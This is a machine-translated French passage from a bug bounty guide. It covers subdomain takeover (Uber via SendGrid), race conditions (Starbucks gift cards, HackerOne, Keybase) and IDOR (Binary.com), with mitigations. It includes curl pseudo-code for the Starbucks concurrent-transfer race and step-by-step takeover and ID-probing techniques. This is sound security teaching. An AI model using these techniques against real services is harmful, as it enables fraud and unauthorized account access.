ZRETRTT

Traduit de Anglais vers Français - www.onlinedoctranslator.
com
Reprise de sous-domaine 139
Site Modulus Wild Card revendiqué
Après cela, il est allé plus loin (bien que petit) pour y héberger son propre contenu :
Frans Rosen Bonjour tout le monde

Points à retenir
J'ai inclus cet exemple pour deux raisons ; Tout d'abord, lorsque Frans a tenté de revendiquer le
sous-domaine sur Modulus, la correspondance exacte a été prise. Cependant, plutôt que
d’abandonner, il a essayé de revendiquer le domaine joker. Bien que je ne puisse pas parler au
nom des autres hackers, je ne sais pas si j'aurais essayé cela si j'avais été à sa place. Donc, à
l’avenir, si vous vous trouvez dans la même situation, vérifiez si les services tiers autorisent la
réclamation de jokers.
Deuxièmement, Frans a effectivement revendiqué le sous-domaine. Bien que cela puisse paraître
évident pour certains, je tiens à réitérer l'importance de prouver la vulnérabilité que vous signalez.
Dans ce cas, Frans a pris une mesure supplémentaire pour s'assurer qu'il pouvait revendiquer le sous-
domaine et héberger son propre contenu. C'est ce qui différencie les grands hackers des bons hackers :
ils font un effort supplémentaire pour s'assurer que vous ne signalez pas de faux positifs.
6. Prise de contrôle du courrier Uber SendGrid
Difficulté: Moyen
URL: @em.uber.com
Lien de rapport:https://hackerone.com/reports/1565367
Date de déclaration: 4 août 2016
Prime payée: 10 000$
Description:
SendGrid est un service de messagerie basé sur le cloud développé pour aider les entreprises à envoyer des e-
mails. Il s'avère qu'Uber les utilise pour la livraison de ses e-mails. En conséquence, les pirates de l'équipe
Uranium238 ont examiné les enregistrements DNS d'Uber et ont noté que l'entreprise avait un CNAME pour
em.uber.com pointant vers SendGrid (rappelez-vous qu'un CNAME est un enregistrement de nom canonique
qui définit un alias pour un domaine) .
Puisqu'il existait un CNAME, les pirates ont décidé de fouiller SendGrid pour voir comment les
domaines étaient revendiqués et détenus par le service. Selon leur article, ils ont d'abord examiné si
SendGrid autorisait l'hébergement de contenu, afin d'exploiter potentiellement la configuration en
hébergeant leur propre contenu. Cependant, SendGrid est explicite, ils n'hébergent pas de
domaines.
En continuant, Uranium238 est tombé sur une option différente,marque blanche, qui
selon SendGrid :
7https://hackerone.com/reports/156536
est la fonctionnalité qui montre aux FAI que SendGrid a votre autorisation pour envoyer des e-
mails en votre nom. Cette autorisation est donnée par le fait de pointer des entrées DNS très
spécifiques de votre registraire de domaine vers SendGrid. Une fois ces entrées DNS saisies et
propagées, les serveurs et services de messagerie des destinataires liront les en-têtes des e-mails
que vous envoyez et vérifieront les enregistrements DNS pour vérifier que l'e-mail a été lancé
auprès d'une source fiable. Cela augmente considérablement votre capacité à envoyer des e-mails
et vous permet de commencer à bâtir une réputation d'expéditeur pour votre domaine et vos
adresses IP.
Cela semble prometteur. En créant les entrées DNS appropriées, SendGrid pourrait envoyer des e-mails
au nom d'un client. Effectivement, l'examen des enregistrements MX d'em.uber.com a révélé qu'il
pointait vers mx.sendgrid.net (un échangeur de courrier, MX, est un type d'enregistrement DNS qui
spécifie un serveur de messagerie chargé d'accepter les e-mails au nom d'un destinataire). domaine).
Maintenant, confirmant la configuration d'Uber avec SendGrid, Uranium238 a fouillé le flux de travail et
la documentation de SendGrid. Il s'avère que SendGrid a proposé un Webhook d'analyse entrante, qui
permet à l'entreprise d'analyser les pièces jointes et le contenu des e-mails entrants. Pour ce faire, il suffit
aux clients de :
1. Pointez l'enregistrement MX d'un domaine/nom d'hôte ou d'un sous-domaine vers mx.sendgrid.net

2. Associez le domaine/nom d'hôte et l'URL dans la page des paramètres de l'API Parse.
Bingo. Le numéro 1 a déjà été confirmé et il s'avère que le numéro 2 n'a pas été terminé, em.uber.com n'a pas
été revendiqué par Uber. Maintenant que cela est revendiqué par Uranium238, la dernière étape consistait à
confirmer la réception des e-mails (rappelez-vous, les grands hackers vont encore plus loin pour valider toutes
les découvertes avec une preuve de concept, au lieu de simplement s'arrêter à revendiquer le crochet
d'analyse dans cet exemple. ).
Pour ce faire, SendGrid fournit des informations pratiques sur la configuration d'un serveur d'écoute.
Vous pouvez le vérifierici8. Avec un serveur configuré, l'étape suivante consiste à implémenter le code
pour accepter l'e-mail entrant. Encore une fois, ils le fournissent dans le message. Cela fait, Uranium238
a finalement utilisé ngrok.io qui a tunnelisé le trafic HTTP vers son serveur local et a confirmé la prise de
contrôle.
8https://sendgrid.com/blog/collect-inbound-email-using-python-and-flask
Configuration de l'analyse entrante SendGrid à l'aide de ngrok.io
Confirmation de la prise de contrôle du sous-domaine via un e-mail analysé
Mais avant de publier le rapport, Uranium238 a également confirmé que plusieurs sous-domaines
étaient vulnérables, notamment business, développeur, em, email, m, mail, p, p2, security et v.
Cela dit, SendGrid a confirmé avoir ajouté un contrôle de sécurité supplémentaire qui nécessite que
les comptes disposent d'un domaine vérifié avant d'ajouter un hook d'analyse entrant. Cela devrait
résoudre le problème et le rendre plus exploitable pour d'autres entreprises utilisant SendGrid.
Points à retenir
Cette vulnérabilité est un autre exemple de la valeur inestimable de l’accès aux services
tiers, aux bibliothèques, etc. utilisés par les sites. En lisant la documentation, en
découvrant SendGrid et en comprenant les services qu'ils fournissent, Uranium238 a
découvert ce problème. De plus, cet exemple démontre que lorsque vous recherchez
des opportunités de rachat, soyez à l'affût des fonctionnalités qui vous permettent de
revendiquer des sous-domaines.
Résumé
Les reprises de sous-domaines ne sont vraiment pas si difficiles à réaliser lorsqu'un site a déjà créé
une entrée DNS inutilisée pointant vers un fournisseur de services tiers ou un domaine non
enregistré. Nous avons vu cela se produire avec Heroku, Fastly, les domaines non enregistrés, S3,
Zendesk et bien d'autres encore. Il existe diverses façons de découvrir ces vulnérabilités,
notamment en utilisant KnockPy, Google Dorks (site :*.hackerone.com), Recon-ng, crt.sh, etc.
L'utilisation de tous ces éléments est incluse dans le chapitre Outils de ce livre.
Comme nous l'a appris Frans, lorsque vous recherchez des rachats de sous-domaines, assurez-vous
de fournir une preuve de la vulnérabilité et n'oubliez pas d'envisager de revendiquer le domaine
générique si les services le permettent.
Enfin, lire la documentation peut être ennuyeux mais cela peut être très lucratif. Uranium238 a trouvé sa
prise de contrôle de messagerie Uber en explorant les fonctionnalités fournies par SendGrid. C’est un
point important à retenir, car les services et logiciels tiers sont d’excellents endroits pour rechercher des
vulnérabilités.
17. Conditions de course
Description
Une vulnérabilité de condition de concurrence critique se produit lorsque deux processus sont en
compétition pour s'exécuter l'un contre l'autre sur la base d'une condition initiale qui devient invalide
pendant l'exécution du processus. Un exemple classique de ceci est le transfert d’argent entre comptes
bancaires :
1. Vous avez un compte bancaire avec 500 $ et vous devez transférer la totalité de ce montant à
un ami.
2. À l'aide de votre téléphone, vous vous connectez à votre application bancaire et demandez le transfert de vos
500 $ à votre ami.
3. La demande prend trop de temps, mais est toujours en cours de traitement. Vous vous connectez donc au site bancaire
sur votre ordinateur portable, constatez que votre solde est toujours de 500 $ et demandez à nouveau le transfert.
4. En quelques secondes, les requêtes sur l'ordinateur portable et le mobile se terminent toutes deux.
5. Votre compte bancaire est désormais à 0 $ et vous vous déconnectez de votre compte.
6. Votre ami vous envoie un message pour vous dire qu'il a reçu 1 000 $.
7. Vous vous reconnectez à votre compte et confirmez que votre solde est de 0 $.
Il s’agit d’un exemple irréaliste de condition de concurrence car (espérons-le) toutes les banques
reconnaissent cette possibilité et l’empêchent, mais le processus est représentatif du concept général.
Les virements des étapes 2 et 3 sont initiés lorsque le solde de votre compte bancaire est de 500 $. C'est
la condition requise pour initier le transfert, validée uniquement au démarrage du processus. Étant
donné que vous ne devriez pouvoir transférer qu'un montant égal ou inférieur à votre solde bancaire,
lancer deux demandes de 500 $ signifie qu'elles sont en concurrence pour le même montant disponible.
À un moment donné au cours d'un virement bancaire, la condition devrait devenir invalide, puisque votre
solde devient 0 $, et toute autre demande de transfert devrait échouer (en supposant que vous ne
puissiez pas subir de solde négatif sur votre compte).
Avec des connexions Internet rapides, les requêtes HTTP peuvent sembler instantanées, mais il reste encore
beaucoup de traitement à effectuer. Par exemple, étant donné que les requêtes HTTP sont sans état, chaque
requête HTTP que vous envoyez nécessite que le site de réception vous réauthentifie et charge toutes les
données nécessaires à l'action demandée. Ceci est généralement réalisé en utilisant un cookie pour effectuer
une recherche dans la base de données sur le serveur de l'application pour votre compte. Une fois cette
opération terminée, le site traite alors la demande que vous avez faite.
En revenant à l'exemple de transfert ci-dessus, la logique de l'application serveur pourrait ressembler à :

Conditions de course 145
1. Recevez la requête HTTP pour transférer de l'argent

2. Interrogez la base de données pour obtenir les informations de compte à partir du cookie inclus dans la
demande
3. Confirmez que la personne faisant la demande a accès au compte
4. Confirmez que le montant du transfert demandé est inférieur au solde
5. Confirmez que la personne est autorisée à demander des transferts
6. Recherchez dans la base de données la personne qui reçoit le solde
7. Confirmez que la personne est en mesure de recevoir le montant
8. Supprimez le montant du transfert du compte de l'initiateur
9. Ajoutez le montant du transfert sur le compte du destinataire
10. Renvoyez un message réussi à l'initiateur
11. Informer le destinataire du virement
Encore une fois, il s'agit d'une simplification excessive de la logique de traitement et n'inclut pas toutes les
étapes possibles, mais démontre les étapes et la logique requises pour traiter un transfert d'argent.
J'ai vu les conditions de course abordées de différentes manières. La première consiste à utiliser uniquement des
requêtes INSERT puisqu’il s’agit essentiellement d’actions de base de données instantanées. Utiliser uniquement
INSERTS signifie qu'il n'y a pas de décalage dans la recherche des enregistrements à modifier, comme c'est le cas
avec les requêtes UPDATE. Cependant, utiliser cette approche n'est pas toujours facile puisque votre application doit
être conçue pour s'appuyer sur les enregistrements les plus récents d'une table, ce qui peut être possible ou non. Si
un site est déjà très utilisé, réécrire la conception d'une application et d'une base de données pour utiliser cette
approche peut s'avérer plus problématique que cela n'en vaut la peine.
Deuxièmement, dans les situations où un seul enregistrement doit exister dans une table pour une action donnée,
comme le paiement d'une commande (vous ne voudriez pas payer deux fois), les conditions de concurrence peuvent
être résolues avec un index unique dans la base de données. Les index sont un concept de programmation utilisé
pour aider à identifier les enregistrements dans un ensemble de données structurées ; nous les avons vus
précédemment dans les chapitres précédents en discutant des tableaux. Dans les bases de données, les index sont
utilisés pour accélérer les requêtes (les détails sur la façon dont cela est fait ne sont pas importants pour nos besoins)
mais si vous créez un index unique sur deux champs, la base de données protégera contre l'insertion deux fois des
mêmes valeurs combinées. . Ainsi, si vous aviez un site e-commerce avec un tableau de paiements de commandes
comprenant deux colonnes, order_id et transaction_id, l'ajout d'un index unique sur ces deux colonnes garantirait
qu'aucune condition de concurrence ne puisse enregistrer deux paiements pour une même combinaison commande/
transaction. Cependant, cette solution est également limitée puisqu'elle ne s'applique qu'aux scénarios dans lesquels
il existe un enregistrement par action dans une table de base de données.
Enfin, les conditions de concurrence peuvent être résolues avec des verrous. Il s'agit d'un concept
programmatique qui restreint (ou verrouille) l'accès à des ressources spécifiques afin que d'autres
processus ne puissent pas y accéder. Cela résout les conditions de concurrence en limitant l’accès aux
conditions initiales requises pour introduire la vulnérabilité. Par exemple, lors du transfert de notre
argent, si la base de données bloquait l'accès au solde du compte lors du lancement d'un transfert, toute
autre demande devrait attendre que le solde soit libéré (et probablement mis à jour) pour effectuer un
autre transfert. Cela permettrait d'aborder la possibilité que deux demandes soient transférées
un montant qui n'existe pas. Cependant, le verrouillage est un concept complexe, bien au-delà de la portée de ce
livre, et facile à mettre en œuvre de manière incorrecte, créant d'autres bugs fonctionnels pour les utilisateurs du
site. Les trois exemples suivants montrent des exemples réels où des conditions de concurrence ont été exploitées
contre des programmes de bug bounty.
Exemples
1. Conditions de course Starbucks
Difficulté: Moyen
URL: Starbucks.com
Lien de rapport:http://sakurity.com/blog/2015/05/21/starbucks.html1
Date de déclaration: 21 mai 2015
Prime payée: 0$
Description:
Selon son article de blog, Egor Homakov a acheté trois cartes-cadeaux Starbucks d'une valeur de 5 $ chacune.
Le site Web de Starbucks offre aux utilisateurs une fonctionnalité permettant de lier des cartes-cadeaux à des
comptes pour vérifier les soldes, transférer de l'argent, etc. Conscient du risque d'abus lors du transfert
d'argent, Egor a décidé de tester les choses.
Selon son article de blog, Starbucks a tenté d'anticiper la vulnérabilité (je suppose) en rendant les
demandes de transfert avec état, c'est-à-dire que le navigateur fait d'abord une requête POST pour
identifier quel compte était en train de transférer et lequel recevait, en enregistrant ces
informations. à la session de l'utilisateur. La deuxième demande confirmerait la transaction et
détruirait la session.
La raison pour laquelle cela atténuerait théoriquement la vulnérabilité est que le lent processus de
recherche des comptes d'utilisateurs et de confirmation des soldes disponibles avant de transférer
l'argent serait déjà terminé et le résultat serait enregistré dans la session pour la deuxième étape.
Cependant, sans se laisser décourager, Egor a reconnu que deux sessions pouvaient être utilisées pour terminer la
première étape en attendant que la deuxième ait lieu, pour réellement transférer de l'argent. Voici le pseudo code
qu'il a partagé sur son message :
1http://sakurity.com/blog/2015/05/21/starbucks.html
# préparer les détails du transfert dans les deux sessions
curl starbucks/step1 -H <<Cookie : session=session1>> --data <<amount=1&from=wallet1&\

to=wallet2>>
curl starbucks/step1 -H <<Cookie : session=session2>> --data <<amount=1&from=wallet1&\
to=wallet2>>
# envoyer 1 $ simultanément du wallet1 au wallet2 en utilisant les deux sessions
curl starbucks/step2?confirm -H <<Cookie : session=session1>> & curl starbucks/step2?\
confirm -H <<Cookie:session2>> &
Dans cet exemple, vous verrez que les deux premières instructions curl obtiendraient les sessions, puis la
dernière appellerait l'étape 2. L'utilisation du & demande à bash d'exécuter la commande en arrière-plan
afin de ne pas attendre la fin de la première avant d'exécuter la seconde.
Cela dit, il a fallu six tentatives à Egor (il a failli abandonner après la cinquième tentative) pour obtenir le
résultat ; deux transferts de 5$ de la carte-cadeau 1 avec un solde de 5$ résultant en 15$ sur la carte-
cadeau 2 (solde de départ de 5$, deux transferts de 5$) et 5$ sur la carte-cadeau 3.
Maintenant, allant plus loin pour créer une preuve de concept, Egor a visité un Starbucks à
proximité et a effectué un achat de 16 dollars en utilisant le reçu à fournir à Starbucks.
Points à retenir
Les conditions de concurrence sont un vecteur de vulnérabilité intéressant qui peut parfois
exister lorsque les applications sont confrontées à un certain type d'équilibre, comme de
l'argent, des crédits, etc. La découverte de la vulnérabilité ne se produit pas toujours du
premier coup et peut nécessiter plusieurs requêtes simultanées répétées. Ici, Egor a fait six
demandes avant d'aboutir puis est allé faire un achat pour confirmer la preuve de concept.
2. Accepter les invitations HackerOne plusieurs fois
Difficulté: Faible
URL: hackerone.com/invitations/INVITE_TOKEN
Date de déclaration: 28 février 2016
Prime payée: Guirlande
Description:
HackerOne offre une prime de 10 000 $ pour tout bug susceptible de permettre un accès non autorisé à des
descriptions de bugs confidentielles. Ne vous laissez pas tromper par le pouvoir, vous devez le prouver. À ce
jour, personne n’a signalé de bug valide entrant dans cette catégorie. Mais cela ne m'a pas empêché de le
vouloir en février 2016.
En explorant les fonctionnalités de HackerOne, j'ai réalisé que lorsque vous invitiez une personne à un rapport ou à
une équipe, cette personne recevait un e-mail avec un lien URL pour rejoindre l'équipe ou le rapport qui ne contenait
qu'un jeton d'invitation. Cela ressemblerait à :
https://hackerone.com/invitations/fb36623a821767cbf230aa6fcddcb7e7.
Cependant, l'invitation n'était pas liée à l'adresse e-mail réellement invitée, ce qui signifie que toute personne
possédant n'importe quelle adresse e-mail pouvait l'accepter (cela a depuis été modifié).
J'ai commencé à explorer des moyens d'en abuser et potentiellement de rejoindre un rapport ou une équipe auquel je n'étais
pas invité non plus (ce qui n'a pas fonctionné) et ce faisant, j'ai réalisé que ce jeton ne devrait être acceptable qu'une seule
fois, c'est-à-dire que je ne devrais le faire qu'une seule fois. pouvoir rejoindre le rapport ou le programme avec un seul
compte. Dans mon esprit, je pensais que le processus ressemblerait à quelque chose comme :
1. Le serveur reçoit la demande et analyse le jeton

2. Le token est recherché dans la base de données
3. Une fois trouvé, mon compte est mis à jour pour m'ajouter à l'équipe ou au rapport
4. L'enregistrement du jeton est mis à jour dans la base de données et ne peut donc plus être accepté
Je ne sais pas si c'est le processus réel, mais ce type de flux de travail prend en charge les vulnérabilités des
conditions de concurrence pour plusieurs raisons :
1. Le processus consistant à rechercher un enregistrement et à faire agir ensuite la logique de codage crée un
retard dans le processus. La recherche représente nos conditions préalables qui doivent être remplies pour
qu’un processus soit lancé. Dans ce cas, si la logique de codage prend trop de temps, deux requêtes peuvent
être reçues et les recherches dans la base de données peuvent toujours remplir les conditions requises, c'est-à-
dire que l'invitation n'a peut-être pas encore été invalidée à l'étape 4.
2. La mise à jour des enregistrements dans la base de données peut créer le délai entre la condition préalable et le résultat que
nous recherchons. Alors que les insertions ou la création de nouveaux enregistrements dans une base de données sont
pratiquement instantanées, la mise à jour des enregistrements nécessite de parcourir la table de la base de données pour
trouver l'enregistrement que nous recherchons. Désormais, même si les bases de données sont optimisées pour ce type
d'activité, avec suffisamment d'enregistrements, elles commenceront à ralentir suffisamment pour que les attaquants
puissent profiter de ce délai pour abuser des conditions de concurrence.
J'ai pensé que le processus de recherche, de mise à jour de mon compte et de mise à jour de l'invitation, ou n°1 ci-dessus,
pouvait exister sur HackerOne, je l'ai donc testé manuellement. Pour ce faire, j'ai créé un deuxième et un troisième compte
(nous les appellerons Utilisateur A, B et C). En tant qu'utilisateur A, j'ai créé un programme et invité l'utilisateur B. Ensuite, je
me suis déconnecté. J'ai reçu l'URL d'invitation dans l'e-mail et je me suis connecté en tant qu'utilisateur B.
mon navigateur actuel et l'utilisateur C dans un navigateur privé (la connexion est requise pour accepter
l'invitation).
Ensuite, j'ai aligné les deux navigateurs et les boutons d'acceptation de manière à ce qu'ils soient proches l'un de
l'autre, comme ceci :
Conditions de course d'invitation HackerOne
Ensuite, j'ai simplement cliqué sur les deux boutons d'acceptation le plus rapidement possible. Ma première tentative n'a pas
fonctionné, ce qui m'a obligé à effectuer l'action fastidieuse consistant à supprimer l'utilisateur B, à renvoyer l'invitation, etc.
Mais lors de la deuxième tentative, j'ai réussi et j'avais deux utilisateurs sur un programme à partir d'une seule invitation.
En signalant le problème à HackerOne, comme vous pouvez le lire dans mon rapport lui-même, j'ai
expliqué que je pensais qu'il s'agissait d'une vulnérabilité qui pourrait donner à un attaquant plus de
temps pour supprimer les informations du rapport ou de l'équipe qu'il a rejoint, car le programme
victime aurait un casse-tête. moment pour deux utilisateurs aléatoires rejoignant leur programme et
devant ensuite supprimer deux comptes. Pour moi, chaque seconde compte dans cette situation.
Points à retenir
Trouver et exploiter cette vulnérabilité était en fait plutôt amusant, une mini-compétition avec moi-
même et la plateforme HackerOne puisque je devais cliquer sur les boutons si vite. Mais lorsque vous
essayez d'identifier des vulnérabilités similaires, soyez à l'affût des situations qui pourraient relever des
étapes que j'ai décrites ci-dessus, où il y a une recherche dans la base de données, une logique de
codage et une mise à jour de la base de données. Ce scénario peut se prêter à une vulnérabilité de
condition de concurrence critique.
Recherchez également des moyens d’automatiser vos tests. Heureusement pour moi, j'ai pu y parvenir
sans trop de tentatives, mais j'aurais probablement abandonné après 4 ou 5 étant donné la nécessité
de supprimer des utilisateurs et de renvoyer des invitations pour chaque test.
3. Dépassement des limites d'invitation à la base de clés
Difficulté: Faible
URL: https://keybase.io/_/api/1.0/send_invitations.json
Prime payée: 350$
Description:
Lors du piratage, recherchez les opportunités où un site a une limite explicite au nombre d'actions spécifiques
que vous êtes autorisé à effectuer, comme les invitations dans cet exemple ou le nombre de fois où vous
pouvez appliquer un coupon de réduction à une commande, le nombre d'utilisateurs. vous pouvez ajouter à un
compte d'équipe et ainsi de suite.
Keybase est une application de sécurité pour téléphones mobiles et ordinateurs et lors du lancement de leur
site, ils ont limité le nombre de personnes autorisées à s'inscrire en fournissant aux utilisateurs enregistrés
trois invitations, initiées via une requête HTTP à Keybase. Josip FranjkoviÄ a reconnu que ce comportement
pouvait être vulnérable à une condition de concurrence critique pour des raisons similaires à celles décrites
dans le premier exemple ; Keybase recevait probablement la demande d'invitation d'un autre utilisateur,
vérifiait la base de données pour voir s'il restait des invitations à un utilisateur, générait un jeton, envoyait l'e-
mail et réduisait le nombre d'invitations restantes.
Pour tester, Josip a visité https://keybase.io/account/invitations, a saisi une adresse e-mail et a soumis
l'invitation. À l'aide d'un outil tel que Burp, il a probablement envoyé cette requête à l'intrus, ce qui
permet aux utilisateurs d'automatiser les tests répétitifs en définissant un point d'insertion dans une
requête HTTP et en spécifiant les charges utiles à parcourir avec chaque requête, en ajoutant le
charge utile au point d’insertion. Dans ce cas, il aurait spécifié plusieurs adresses e-
mail et chaque demande aurait été envoyée presque simultanément.
En conséquence, Josip a pu inviter 7 utilisateurs, contournant ainsi la limite de 3 invitations par
utilisateur. Keybase a confirmé la conception défectueuse lors de la résolution du problème et a
expliqué avoir résolu la vulnérabilité en acquérant un verrou avant de traiter la demande
d'invitation et en le libérant après l'envoi de l'invitation.
Points à retenir
Accepter et payer pour ce type de condition de concurrence, invitant plus de personnes que ce
qui est autorisé sur un site, dépend des priorités, des fonctionnalités et du profil de risque d'un
programme. Dans ce cas, Keybase a probablement accepté cela parce qu'il tentait de gérer le
nombre d'utilisateurs s'inscrivant sur son site, ce que cela contournait. Ce n'est pas le cas pour
tous les programmes de bug bounty qui incluent une fonctionnalité d'invitation, comme le
démontre l'exemple d'invitation HackerOne évoqué précédemment. Si vous signalez quelque
chose de similaire, assurez-vous d'expliquer clairement pourquoi votre rapport doit être
considéré comme une vulnérabilité.
4. Paiements HackerOne
Difficulté: Faible
URL: n / A
Date de déclaration: 12 avril 2017
Prime payée: 1000$
Description:
Lorsque vous cherchez à exploiter des conditions de concurrence, recherchez les opportunités où un site traite
des données en arrière-plan, soit sans rapport avec les actions que vous avez effectuées, soit en réponse
retardée à vos actions, comme l'émission de paiements, l'envoi d'e-mails ou où vous pouvez planifier une
action future. .
Vers le printemps 2016, HackerOne a apporté des modifications à son système de paiement,
combinant les primes accordées aux pirates informatiques en un seul paiement lorsque PayPal était
le processeur de paiement. Auparavant, si vous receviez trois primes par jour, vous receviez trois
paiements de HackerOne. Après le changement, vous en recevrez un avec le montant total.
En avril 2017, Jigar Thakkar a testé cette fonctionnalité et a reconnu qu'il était possible d'exploiter une situation
de concurrence critique dans la nouvelle fonctionnalité pour dupliquer les paiements. Au démarrage
Après le processus de paiement, HackerOne a collecté les primes par adresse e-mail, les a
combinées en une seule, puis a envoyé la demande à PayPal. La condition préalable ici est de
rechercher l’adresse e-mail. Jigar a découvert que si deux pirates avaient enregistré la même
adresse e-mail PayPal, HackerOne combinerait les primes en un seul paiement pour cette adresse e-
mail. Mais si l'un de ces pirates modifiait son adresse PayPal après la combinaison mais avant que
HackerOne n'envoie la demande à PayPal, le paiement forfaitaire serait versé à la première adresse
e-mail et la nouvelle adresse e-mail serait toujours payée. Vraisemblablement, cela était dû au fait
que les primes étaient toutes marquées comme impayées jusqu'à ce que la demande soit faite à
PayPal. Exploiter ce comportement était délicat puisqu'il fallait savoir quand le traitement était lancé
et si c'était le cas, vous n'aviez que quelques secondes pour modifier les adresses email.
Cet exemple est remarquable en raison de l'utilisation par HackerOne de tâches de traitement différées et de l'heure
de vérification par rapport à l'heure d'utilisation. Lorsque vous utilisez certains sites Web, ils mettront à jour les
enregistrements en fonction de votre interaction. Par exemple, lorsque vous soumettez un rapport sur HackerOne,
un e-mail sera envoyé à l'équipe à laquelle vous l'avez soumis, les statistiques de l'équipe seront mises à jour, etc.
Cependant, certaines fonctionnalités ne se produisent pas immédiatement en réponse à une requête HTTP, comme
les paiements.
Étant donné que HackerOne combine désormais les primes, plutôt que de vous envoyer de l'argent
immédiatement lorsque vous êtes récompensé, il est logique que HackerOne utilise un travail en arrière-plan
qui recherche l'argent qui vous est dû, le combine et demande le transfert depuis PayPal. Les tâches en arrière-
plan sont initiées par un déclencheur autre que la requête HTTP d'un utilisateur et sont couramment utilisées
lorsque les sites commencent à traiter un grand nombre de données. En effet, cela n'a pas de sens d'initier
toutes les actions du site en réponse à des requêtes HTTP et de faire attendre les utilisateurs jusqu'à la fin de
l'action avant de recevoir une réponse HTTP du serveur. Ainsi, lorsque vous soumettez votre rapport, le serveur
vous enverra une réponse HTTP et créera une tâche en arrière-plan pour envoyer un e-mail à l'équipe au sujet
de votre rapport. Idem pour les paiements, lorsqu'une équipe vous accorde une prime, elle recevra un reçu
pour le paiement mais l'envoi de l'argent sera ajouté à un travail de fond à réaliser ultérieurement.
Les tâches en arrière-plan et le traitement des données sont importants pour les conditions de course car ils peuvent
présenter un délai entre les conditions de vérification (le moment du contrôle) et l'exécution des actions (le moment
de l'utilisation). Si un site vérifie uniquement les conditions lors de l'ajout d'un élément au traitement en arrière-plan,
mais pas lors de son utilisation réelle, l'exploitation de ce comportement peut conduire à une situation de
concurrence critique. Dans ce cas, il s'agissait d'une vérification de la même adresse e-mail lors de la combinaison de
primes sans vérifier que l'adresse e-mail n'avait pas changé au moment du paiement ou de l'utilisation.
Points à retenir
Lorsque vous utilisez un site, si vous remarquez qu'il traite des données bien après avoir visité le site, il
utilise probablement une tâche en arrière-plan pour traiter les données. Il s'agit d'un signal d'alarme
indiquant que vous devez tester les conditions qui définissent le travail pour voir si le site agira selon
les nouvelles conditions par rapport aux anciennes. Dans cet exemple, HackerOne combinait les
paiements pour une adresse e-mail avec l'envoi d'argent à des adresses e-mail spécifiques. Assurez-
vous de tester minutieusement le comportement, car le traitement en arrière-plan peut se produire
très rapidement ou longtemps après, en fonction du nombre de tâches mises en file d'attente et de
l'approche du site en matière de traitement des données.
Résumé
Chaque fois qu'un site effectue des actions en fonction de certaines conditions qui changent en fonction
de l'action effectuée, il est toujours possible que les développeurs n'aient pas pris en compte les
conditions de concurrence. Soyez à l'affût de ce type de fonctionnalité car elle concerne les actions
limitées que vous êtes autorisé à effectuer et lorsqu'un site traite des actions en arrière-plan. Ce type de
vulnérabilité est généralement associé à des conditions qui changent très rapidement, parfois presque
instantanément. Ainsi, si vous pensez que quelque chose est vulnérable, plusieurs tentatives peuvent
être nécessaires pour réellement exploiter ce comportement. Soyez persévérant et incluez une
justification solide s'il existe une chance qu'un programme n'envisage pas d'exploiter votre condition de
concurrence découverte comme une vulnérabilité sérieuse.
18. Références d'objets directs non sécurisés
Description
Une vulnérabilité de référence directe d'objet (IDOR) non sécurisée se produit lorsqu'un attaquant peut
accéder ou modifier une référence à un objet, tel qu'un fichier, un enregistrement de base de données,
un compte, etc., qui devrait en réalité lui être inaccessible. Par exemple, lorsque vous consultez votre
compte sur un site Web avec des profils privés, vous pouvez visiterwww.site.com/user=123. Cependant,
si vous avez essayéwww.site.com/user=124et ont obtenu l'accès, ce site serait considéré comme
vulnérable à un bug IDOR.
L’identification de ce type de vulnérabilité va de facile à difficile. Le plus basique est similaire à l'exemple
ci-dessus où l'ID fourni est un simple entier, incrémenté automatiquement à mesure que de nouveaux
enregistrements (ou utilisateurs dans l'exemple ci-dessus) sont ajoutés au site. Donc, tester cela
impliquerait d’ajouter ou de soustraire 1 de l’ID pour vérifier les résultats. Si vous utilisez Burp, vous
pouvez automatiser cela en envoyant la demande à Burp Intruder, en définissant une charge utile sur
l'ID, puis en utilisant une liste numérique avec des valeurs de début et d'arrêt, étape par étape.
Lors de l'exécution de ce type de test, recherchez les longueurs de contenu qui changent, ce qui signifie que
différentes réponses sont renvoyées. En d’autres termes, si un site n’est pas vulnérable, vous devriez
systématiquement recevoir un type de message d’accès refusé avec la même longueur de contenu.
Là où les choses sont plus difficiles, c'est lorsqu'un site essaie de masquer les références à ses références
d'objet, en utilisant des éléments tels que des identifiants aléatoires, tels que des identifiants universels
uniques (UUID). Dans ce cas, l’ID peut être une chaîne alphanumérique de 36 caractères impossible à
deviner. Dans ce cas, une façon de procéder consiste à créer deux profils utilisateur et à basculer entre
ces comptes testant les objets. Donc, si vous essayez d'accéder à des profils utilisateur avec un UUID,
créez votre profil avec l'utilisateur A puis avec l'utilisateur B, essayez d'accéder à ce profil puisque vous
connaissez l'UUID.
Si vous testez des enregistrements spécifiques, tels que des identifiants de facture, des voyages, etc., tous identifiés
par des UUID, comme dans l'exemple ci-dessus, essayez de créer ces enregistrements en tant qu'utilisateur A, puis
d'y accéder en tant qu'utilisateur B puisque vous connaissez les UUID valides entre les profils. Si vous parvenez à
accéder aux objets, c'est un problème mais pas trop grave puisque les identifiants (à quelques exceptions près) sont
constitués de 36 caractères, des chaînes aléatoires. Cela les rend pratiquement indevinables. Mais tout n’est pas
perdu.
À ce stade, l’étape suivante consiste à essayer de trouver une zone où cet UUID a été divulgué. Par
exemple, sur un site en équipe, pouvez-vous inviter l'utilisateur B dans votre équipe, et si oui, le serveur
répond-il avec son UUID avant même qu'il n'accepte ? C'est une façon pour les sites de fuir
Références d'objets directs non sécurisés 155
UUID. Dans d'autres situations, vérifiez la source de la page lorsque vous visitez un profil. Parfois, les
sites incluent un blob JSON pour l'utilisateur qui inclut également tous les enregistrements créés par eux,
divulguant ainsi les UUID sensibles.
À ce stade, même si vous ne trouvez pas de fuite, certains sites récompenseront la vulnérabilité si les
informations sont sensibles. C'est vraiment à vous de déterminer l'impact et d'expliquer à l'entreprise
pourquoi vous pensez que ce problème devrait être résolu.
Exemples
1. Augmentation des privilèges Binary.com
Difficulté: Faible
URL: binaire.com
Date de déclaration: 14 novembre 2015
Prime payée: 300$
Description:
Il s’agit vraiment d’une vulnérabilité simple qui ne nécessite pas beaucoup d’explications.
Essentiellement, dans cette situation, un utilisateur pouvait se connecter à n'importe quel compte et afficher
des informations sensibles, ou effectuer des actions, au nom du compte utilisateur piraté et il suffisait de
connaître l'ID de compte d'un utilisateur.
Avant le piratage, si vous vous connectiez à Binary.com/cashier et inspectiez la page HTML, vous
remarqueriez une balise <iframe> qui incluait un paramètre PIN. Ce paramètre était en fait votre
identifiant de compte.
Ensuite, si vous modifiez le code HTML et insérez un autre code PIN, le site effectuera automatiquement
une action sur le nouveau compte sans valider le mot de passe ni aucune autre information
